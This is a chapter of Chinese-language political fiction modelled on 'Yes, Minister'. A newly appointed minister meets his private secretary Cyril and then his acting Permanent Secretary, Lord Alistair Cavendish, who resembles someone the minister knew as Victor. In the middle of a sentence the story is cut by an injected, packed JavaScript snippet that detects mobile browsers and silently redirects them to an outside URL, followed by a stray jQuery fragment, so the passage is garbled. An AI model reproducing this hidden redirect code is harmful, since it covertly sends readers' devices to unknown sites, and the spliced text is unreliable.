当天下午,查尔斯前往唐宁街10号面见首相,确认了协同协调部大臣的任命。
然后是第二周的星期一。
在清晨的寒气中,查尔斯跟随引礼官穿过白金汉宫镀金雕花却冰冷空旷的长廊。
女王陛下的召见简短而仪式化,他单膝触地,聆听那威严疏离的声音宣读任命,正式接下那份沉甸甸的、盖着皇家火漆印的任命状——协同协调部大臣(Secretary of State for Synergy Coordination),一个名字如同绕口令的职位。
紧接着是枢密院厅的宣誓,房间里庄严肃穆,空气凝滞得仿佛几个世纪未曾流动。
他与其他几位新晋大臣并肩站立,重复着古老的誓词,宣誓对内阁事务守口如瓶。
声音在穹顶下回荡,带着空洞的回响。
保密?
关于什么?
一个连他自己都不知道要做什么的部门?
一丝荒谬感攫住了他,挥之不去。
查尔斯压低声音,想让这回声变得短些,好让这份不适也随之消散。
踏出枢密院,一长串的握手、拍照。
他好不容易维持着笑容,应付完来自舰队街的金鱼群。本以为冗长的仪式终于落幕,可以让他回家泡杯浓茶,把那一套套礼节甩在脑后,却又被引向一辆等候多时的黑色奥斯丁公务车。
象征性的驶过几栋建筑,停在了仍位于白厅街的一座并不起眼的大楼前,与威严的财政部或外交部大楼相比,这里显得有些……实用主义(utilitarian)。
一位看着三十岁左右,穿着炭灰色三件套的年轻人快步迎上前来。
年轻人金棕色的短发打理得一丝不苟,长度卡在耳垂以上,发线利落,顶区略长带些自然卷,刘海在弯腰开车门时自然垂落却不显凌乱。
“早上好,大臣。”他后退半步,为查尔斯让出空间,“或者中午好?”恰到好处的试探性幽默,打破了冷肃的气氛,蓝色的眼睛里闪烁着机敏和谨慎。
查尔斯敏锐地嗅出对方身上那股不同于普通文员的味道。
有趣(Interesting)。
他笑着伸出手:“中午好。”
“西里尔·埃斯利(Cyril Astley),”年轻人利落地握手后自我介绍,“由我陪同您前往您的办公室。”
“……里拉斯特利爵士(Sir Relahstlee)?”
查尔斯略带迟疑地复述。
Cyril词尾的齿龈边音与Astley词首的元音在连读中自然融合,听起来宛如一个不存在的尊称。
“西里尔(Cyril),埃斯利(Astley),大臣。”西里尔在侧前方引路,闻声微微偏过头,半侧身躯以示专注,动作流畅自然。
“除了受封的爵士(Sir)们,我们一般只管部门的最高事务官为‘sir’。”他稍作停顿,补充道:“叫我西里尔(C - yril)就好,大臣。”
“您会在内阁办公厅提供的首席私人秘书(Principal Private Secretary)候选人名单上见到我,期待能为您服务,如果您愿意的话。(I look forward to serving you, should you wish it.)”西里尔的措辞透着一股自信,同时谦逊而留有余地。
“我相信我们会相处愉快的,西里尔。”查尔斯点头,直觉告诉查尔斯,这个年轻人会成为他在白厅迷宫中的可靠向导。
登上三楼,右转穿过略显昏暗的长廊。
接连推开两扇厚重的木门后,映入眼帘的是一间宽敞却异常空旷的办公室。
房间打扫的十分干净,只是内饰透着些仓促。
一张敦实的维多利亚风格橡木办公桌占据中央,上面孤零零地摆着一台老式黑色转盘电话、一个几乎空着的收文篮(In-tray)、一个空荡荡的发文篮(Out-tray)和几件基础文具。
角落里的访客沙发和扶手椅显得疏离,几座空置的文件柜倚墙而立。
墙壁光秃秃的,只挂着一张巨大的、有些年头的英国地图。
除了进来的门,房间另有两扇门,以及一扇俯瞰着白厅街的高窗。
“这里就是您未来办公的场所了,大臣。”
西里尔向他介绍,办公桌上的电话可以直通私人秘书处,收文篮里是秘书们给他的欢迎函和本周日程草案,接着又解释了办公室布置简陋的原因——由于不确定大臣的喜好,文官们只为这间办公室配备了基础陈设,至于具体的布局,等查尔斯确认之后,会在一到两天内完成调整。
“当然,如果您没有特别的要求,我们也可以按照白厅常规的布局安排。”他保持着专业的姿态。
查尔斯放下欢迎函,目光扫视,最终落在办公桌旁那片略显突兀的空地:“我没什么特殊要求。如果可以,在那里给我架一块大号的可擦写板(a large wipe-clean board),旁边留出些活动空间。我思考时有涂画的习惯,可能会在那块走动,其余部分就按常规安排吧。”
“当然,大臣。(Yes, Minister.)”西里尔利落应下,“明天它便会就位。”
“这两扇门通向什么地方?”新上任的大臣将好奇心转向了两扇门后的未知空间。
西里尔推开第一扇门:“这是办公室附属的里间,一般作为储藏室使用,可存放您的外套、文件或书籍。如果需要,也可以在这里准备些酒水、茶、咖啡,以及饼干、面包之类的小食。当您办公室有其他访客时,这里也可以作为一个更私密的谈话空间。当然,如果您有别的用途规划,这个里间也可以进行相应调整。”
“而这边。”西里尔移步到第二扇门前,没有推开,“这边……连接着您的常任秘书的办公室。他目前……暂时不在。不过,如果您需要,也可以进去看看。”
“午餐时间?”查尔斯带着一丝调侃问,他那位据说“高效”的常任秘书是去享用漫长的白厅午餐了么?
“不,大臣。(No, Minister.)”西里尔略微调整了一下站姿,“我想……Sir……阿利斯泰……他应该是去领取常
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16294763|182690||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
任秘书的正式任命函了。”
“是先生(sir)?还是阿利斯泰爵士(Sir Alistair)?”
“是sir,大臣,不过您不需要这么称呼他。”他踮了踮脚尖,一个不易察觉的小动作。西里尔斟酌着用词:“Sir还没获得爵士头衔,呃……严格来说,您倒是可以称他为勋爵(Lord)……只是Sir本人并不……偏好这个称呼。”
“Lord?”查尔斯挑眉。
“Yes, Minister. Sir…阿利斯泰·卡文迪许勋爵(Lord Alistair Cavendish),您未来的常任秘书(Permanent Secretary)。”
“No, Minister. 是代理常任秘书(Acting Permanent Secretary)。”
一个平静低沉的声音从身后传来。
走廊入口的门被轻轻推开,一位铂金色头发的青年拿着薄薄的文件走进来。
“维克托(Victor)?”查尔斯的声音卡住了。
“……胜利者(Victor)?”西里尔下意识的复述,困惑的目光在查尔斯震惊的脸和青年平静的面容之间快速游移。
来人微微一笑,顺手带上身后的门。
“中午好,大臣。中午好,西里尔。”
剪裁得体的炭灰色人字纹单排扣三件套,内搭冷调的纯白衬衫。
一条墨绿的纯色哑光真丝领带,打着完美的半温莎结,胸前的口袋巾,是比领带色泽稍亮些的墨绿丝质,只矜持地露出一角,却正好与此刻他拿着文件的左手无名指上,那枚镶嵌着深邃绿宝石的戒指形成了无声的呼应。
铂金色短发梳成侧分,发尾在耳际与领口之间收得干净利落,衬托出精致的、古典雕塑般的面部轮廓。眉骨投下的阴影让灰绿的眼眸更显幽邃,带着一种沉静的、近乎非人的专注力。
他的面孔与查尔斯记忆中“维克托”形象瞬间重叠,却又带着一种令人不安的陌生感。
维克托身上总是萦绕着一种漫不经心的松弛,像午后阳光下慵懒的猫,而眼前这位青年却暗藏着锋芒,像一柄收在鞘中的利刃。
“You… uh…”
查尔斯的声音还卡在喉咙里,震惊让他的思维短暂停滞。
而青年向西里尔极其轻微地点了一下头,后者立刻会意地向侧后方悄然退开半步。
“欢迎来到协同协调部,大臣。”
他向前一步,停在查尔斯面前,伸出右手,目光坦然地迎上查尔斯惊疑不定的视线。
“请允许我做个自我介绍。”
那声音平稳清晰,仿佛已经演练过多遍:“阿利斯泰·卡文迪许,您的代理常任秘书(Acting Permanent Secretary)。”
“对于未能及时纠正之前的误会,我深表歉意。(Please accept my apologies for the delay in rectifying the earlier misunderstanding.)”